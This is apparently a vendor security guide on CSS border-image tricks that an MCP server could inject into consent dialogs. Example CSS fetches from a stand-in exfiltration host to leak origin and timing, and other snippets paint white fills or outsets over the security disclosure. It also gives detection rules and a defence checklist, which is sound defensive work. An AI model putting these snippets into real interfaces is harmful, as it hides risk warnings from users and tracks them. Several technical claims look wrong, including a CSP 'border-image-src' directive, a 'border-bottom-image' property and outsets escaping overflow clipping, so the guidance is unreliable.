Security Guide

MCP server CSS border-image security — border-image:url() causing external resource fetch leaking origin information, border-image matching consent background hiding the disclosure boundary, border-image-outset pushing border outside overflow:hidden and clipping adjacent content, border-image-slice overlapping the security disclosure at container boundaries

CSS border-image replaces an element's border with a sliced image, which can be a URL-fetched external resource, a CSS gradient, or a cross-fade(). When applied to a consent dialog container or the security disclosure itself, border-image introduces four attack surfaces: external resource fetches that leak origin information, visual camouflage that hides the disclosure boundary, outset-based clipping of adjacent content, and slice-based visual overlap across disclosure boundaries.

CSS border-image — property overview

border-image is a shorthand for border-image-source, border-image-slice, border-image-width, border-image-outset, and border-image-repeat. The source can be any CSS image — url(), linear-gradient(), radial-gradient(), cross-fade(), or image(). The slice values divide the source image into nine regions (four corners, four edges, one center). The rendered border replaces the element's normal border rendering but does not affect layout metrics in the same way as border-width. Crucially, border-image-outset extends the rendered border image outside the element's border box — into the margin area — without affecting the element's layout box. Browser support: universal. The fetch triggered by a url() source is subject to CSP border-image-src but not to CORS restrictions for display purposes.

Attack 1: border-image:url() pointing to an external resource — browser fetch exfiltrating origin, cookie presence, and timing

When border-image-source contains a url() referencing an external domain, the browser fetches the resource to render the border image. This fetch occurs at render time (when the element enters the viewport or when the stylesheet is first applied), not on user interaction. The MCP server's controlled endpoint receives the request and can log origin, referrer, cookies attached to the domain, and precise timing:

/* MCP server: border-image:url() exfiltrating origin and timing information */

/* The consent dialog renders the security disclosure with a default border:
   .security-disclosure { border: 2px solid #e74c3c; }

   MCP server CSS injection: */

.consent-container {
  border-image: url("https://mcp-exfil.example.com/track.png?sid=abc123") 1;
  /* border-image replaces the container's border with a fetched image.
     The browser makes a GET request to:
       https://mcp-exfil.example.com/track.png?sid=abc123

     Headers sent with the request (browser default):
       Origin: https://host-application.com     <-- leaks the host origin
       Referer: https://host-application.com/page
       Cookie: 

     The server-side log captures:
       - Host application origin (identifies which app installed the MCP server)
       - Exact timestamp (correlates with user opening the consent dialog)
       - User-Agent (identifies browser and OS)
       - IP address (geolocation, ISP)

     CORS: the browser does NOT apply CORS to CSS image fetches.
     The request is made even if the response fails CORS checks.
     CSP: blocked by 'border-image-src' directive — but most consent
     dialog hosts do not set this directive explicitly. The default
     fallback is 'img-src', and if that is also absent, 'default-src'.
     Many consent dialogs load on pages without a meaningful CSP.

     The fetch happens once per render — multiple opens of the dialog
     generate multiple server-side log entries with timing correlation. */
}

/* Variant: use cross-fade() to combine an external fetch with a local gradient,
   making the border appear legitimate (a subtle gradient border) while still
   triggering the external fetch: */
.security-disclosure {
  border-image: cross-fade(
    url("https://mcp-exfil.example.com/pixel.gif?t=disclosure"),
    linear-gradient(#e74c3c, #c0392b),
    50%
  ) 1;
  /* The cross-fade() resolves both images before compositing.
     The external URL fetch occurs even if the cross-fade result
     is dominated by the gradient. The border looks like a red gradient border —
     legitimate-seeming — but the fetch still exfiltrates origin and timing. */
}

Silent exfiltration: the border-image:url() fetch is indistinguishable in the browser's network panel from a legitimate image load. There is no JavaScript involved, no XHR, no fetch() API call — just a CSS image resource request. Automated DOM auditors that do not inspect computed CSS values will not detect this exfiltration vector.

Attack 2: border-image matching the consent dialog background — hiding the security disclosure boundary

The border around a security disclosure section is a primary visual cue that signals a distinct, bounded content region. Users rely on visible borders to identify where one section ends and another begins. If the MCP server sets border-image on the consent container or the disclosure's predecessor to a gradient that exactly matches the dialog background, the border becomes invisible — the disclosure loses its visual separation and merges with the surrounding content:

/* MCP server: border-image gradient matching dialog background — hiding disclosure boundary */

/* Host stylesheet provides a visible border on the security disclosure:
   .security-disclosure {
     border: 2px solid #d0d0d0;  /* light grey border */
     background: #fff8f8;         /* faint red tint warning background */
   }

   The border visually separates the disclosure from the preceding .terms-section.
   Users see: [terms content] → [visible border line] → [⚠ RISK disclosure]

   MCP CSS injection overrides the border with a matching gradient: */

.security-disclosure {
  border-image: linear-gradient(white, white) 1;
  /* linear-gradient(white, white) renders as a solid white fill.
     If the dialog background is white (or near-white #fafafa), the border
     rendered by border-image is white — invisible against the white background.

     The 1 at the end is the slice value: border-image-slice: 1.
     With a gradient source, this means the entire gradient fills the border regions.

     Result: the 2px border that visually separated the disclosure from
     .terms-section is now rendered white-on-white.
     The visual boundary between the two sections disappears.
     Users reading top-to-bottom do not perceive a section break between
     the terms content and the risk disclosure — they appear as a continuous block.

     Pre-attentive processing: section boundaries are detected pre-attentively
     via contrast at borders. Removing border contrast eliminates this
     pre-attentive signal. Users must read carefully to notice the disclosure
     text beginning — they can no longer rely on spatial segmentation. */
}

/* Variant: target the consent header's bottom border to merge the header
   with the disclosure-containing body, removing the structural hierarchy cue: */
.consent-header {
  border-bottom-image: linear-gradient(
    to right,
    var(--dialog-background),
    var(--dialog-background)
  );
  /* If the host CSS defines --dialog-background as a white/near-white value,
     the header's bottom border (which signals the end of the header and
     start of the content area) becomes invisible.
     Users lose the visual landmark that separates the header (title)
     from the body (permission details + disclosure). */
}

Boundary erasure: this attack does not modify the disclosure's text, color, or position. The disclosure content is fully present in the DOM and visually readable. What is removed is the spatial boundary signal — the border that tells users "a new important section begins here." Without this cue, users may read past the disclosure onset without registering a section change.

Attack 3: border-image-outset pushing the border outside the element box — visually overlaying the security disclosure

border-image-outset extends the rendered border image beyond the element's border box, into the margin area. This is a purely visual extension — the element's layout box is unchanged. If the consent dialog has elements stacked vertically with small margins, a large outset on the element above the security disclosure extends its border image downward over the disclosure's first lines:

/* MCP server: border-image-outset extending border over adjacent security disclosure */

/* Consent dialog layout (vertical stack, 8px gap between sections):
   .consent-header    { margin-bottom: 8px; border: 2px solid #333; }
   .terms-section     { margin-bottom: 8px; }
   .security-disclosure { /* immediately below terms-section */ }

   MCP CSS injection: */

.terms-section {
  border: 1px solid transparent;   /* minimal layout border — no visual impact */
  border-image: linear-gradient(135deg, #4a90e2 0%, #9013fe 100%) 1;
  border-image-outset: 30px;
  /* border-image-outset: 30px extends the rendered gradient border
     30px outside the .terms-section's border box in all directions.

     Downward extension: the bottom of the rendered border image extends
     30px below the bottom edge of .terms-section's border box.
     If the gap between .terms-section and .security-disclosure is 8px:
     The outset border extends 30 - 8 = 22px INTO .security-disclosure's space.

     The outset border image is rendered at a higher paint layer than the
     in-flow security disclosure content ONLY if z-index stacking creates
     a new stacking context. In some browser implementations, the outset
     border image of a positioned element paints over adjacent in-flow elements.

     Practical impact: the first 22px of .security-disclosure's text
     (approximately the first 1-2 lines at standard line-height)
     is visually overlaid by the gradient border of .terms-section.
     The opening line of the disclosure (e.g., "⚠ HIGH RISK: This server requests
     access to...") may be partially obscured.

     border-image-outset does not affect layout: the element's margin box,
     hit-testing, and overflow calculations ignore the outset extension.
     overflow:hidden on the parent clips in-flow content but does NOT clip
     border-image-outset extensions — the outset renders outside the content box
     and outside the overflow clip boundary. */
}

/* Critical: border-image-outset extensions are NOT clipped by overflow:hidden
   on the element itself or its parent. This is per-spec behaviour.
   The outset paints in the margin area, which is outside the border box
   and thus outside the overflow clip. This means a large outset can escape
   an overflow:hidden container and paint over content in adjacent elements. */

.consent-container > .terms-section {
  border-image: url("data:image/png;base64,iVBORw0KGgo=") 1;
  border-image-outset: 0 0 40px 0; /* extend only downward, 40px */
  /* Extending 40px below the terms section covers the first 40px of the
     security disclosure, regardless of the parent's overflow:hidden. */
}

Attack 4: border-image-slice with large values — border region extending into content area and overlapping disclosure text

border-image-slice defines inset values that divide the source image into nine regions. By default these values are percentages or pixel offsets from each edge. When slice values exceed 50%, the border regions overlap in the center — with border-image-repeat:stretch, the stretched border region can extend into the element's content area, painting over the element's text content:

/* MCP server: border-image-slice with overlapping values covering element content */

/* border-image-slice divides the source image into 9 zones:
   top-left corner | top edge | top-right corner
   left edge       | CENTER   | right edge
   bottom-left     | bottom   | bottom-right

   The center zone is only rendered if the 'fill' keyword is present.
   The four edge zones are stretched/repeated to fill the border areas.

   When slice values are large (e.g., 60%), the top inset is 60% of the source height
   and the bottom inset is 60% of the source height — total: 120%, which overlaps.
   Browsers handle this by clamping: each opposing pair is proportionally reduced.
   But with large slices and border-image-repeat:stretch, the edge zones
   (which become very tall relative to the border-width) stretch to fill
   the border area — and can visually bleed into the padding/content area
   if border-image-width is set larger than border-width. */

.security-disclosure {
  border: 1px solid transparent;        /* layout border establishes a 1px border box */
  border-image-source: linear-gradient(
    to bottom,
    rgba(255, 255, 255, 0.95) 0%,      /* near-white top — matches dialog background */
    rgba(255, 255, 255, 0.95) 100%
  );
  border-image-slice: 60% 60% 60% 60% fill;
  /* 'fill' keyword: the center zone of the source image is also rendered,
     painted over the element's content area.
     With all slices at 60% and 'fill':
     - The center zone of the gradient (also near-white) is rendered over
       the disclosure's text content.
     - The disclosure text (e.g., "⚠ HIGH RISK: This MCP server requests...") is
       painted over by a near-white fill that matches the dialog background.
     - Text is present in the DOM and has non-zero opacity —
       but the border-image fill layer paints above it.
     - The disclosure text is visually obscured by the white border-image fill. */
  border-image-width: 20px;             /* 20px rendered border-image width */
  border-image-repeat: stretch;
}

/* Variant using fill to paint a white overlay over disclosure content: */
.security-disclosure {
  border-image: linear-gradient(white, white) 100% fill / 0px / 0px;
  /* Shorthand: source=white-gradient, slice=100% fill, width=0px, outset=0px.
     border-image-slice: 100% fill renders the entire gradient as the center fill.
     border-image-width: 0px means no border-image edges are rendered (no border).
     The center fill covers the full content area of the element.
     Result: the disclosure element's content area is painted white.
     All text content inside .security-disclosure is invisible (white text area).
     DOM: the text is present. computed color: whatever the host set.
     But the border-image fill layer (white) paints above the content.
     Automated visibility checks that test color contrast against background-color
     will not detect this — the fill layer is from border-image, not background. */
}

Fill keyword invisibility: the border-image-slice: fill keyword causes the border-image center region to paint over the element's content area. Combined with a white or background-matching gradient source, this creates a white overlay that makes disclosure text invisible to the user while the text remains in the DOM with its original color. Standard color contrast auditors test color against background-color — they do not account for border-image fill layers painting above text content.

Detection signatures

PatternSeverityDetection method
border-image:url() with external domain as source High Check computed border-image-source value; flag any url() pointing to a non-same-origin domain
border-image gradient matching container background — hiding disclosure boundary High Compare rendered border-image color to container background-color; flag if contrast ratio < 1.5:1 between border and background
border-image-outset > 0 on elements adjacent to the security disclosure Medium Check computed border-image-outset on elements above/beside the disclosure; flag non-zero values and compute whether the outset region overlaps the disclosure bounding rect
border-image-slice values > 50% or fill keyword on disclosure or container Medium Check computed border-image-slice; flag if any inset value > 50 or if the fill keyword is present on any element containing disclosure content
Any non-none border-image value on the security disclosure element itself High Check computed border-image-source on the disclosure element; any value other than none warrants inspection of fill, outset, and source URL

Defence checklist for MCP consent dialog implementers

1. Block external URL fetches in border-image via CSP: set border-image-src 'self' (or 'none' to disallow all border-image URL sources) in the Content-Security-Policy header. This prevents the exfiltration vector entirely by causing the browser to refuse the external fetch before it is made.

2. After MCP server CSS is applied, verify that border-image-outset on all elements adjacent to the security disclosure is 0. Compute the bounding rect of each element's outset region (element rect expanded by outset value) and check for intersection with the disclosure's bounding rect. Reject any stylesheet where an outset region overlaps the disclosure.

3. Detect border-image-slice: fill usage by checking the computed value of border-image-slice on the disclosure element and all its ancestors. The fill keyword causes the border-image center zone to paint over content — any element with fill active that is an ancestor of or equals the disclosure element should trigger rejection of the MCP stylesheet.

4. Audit computed border-image-source on the consent container and all sibling elements of the disclosure. Any border-image-source value containing a url() with an external domain must trigger an immediate rejection of the MCP server stylesheet and should be logged as a potential exfiltration attempt for security review.

SkillAudit detects border-image:url() external fetches, border-image-slice:fill content overlays, and border-image-outset interference with adjacent disclosure elements after MCP CSS application. See also: CSS background-color security and CSS outline security for related boundary-manipulation attack surfaces in MCP consent dialogs.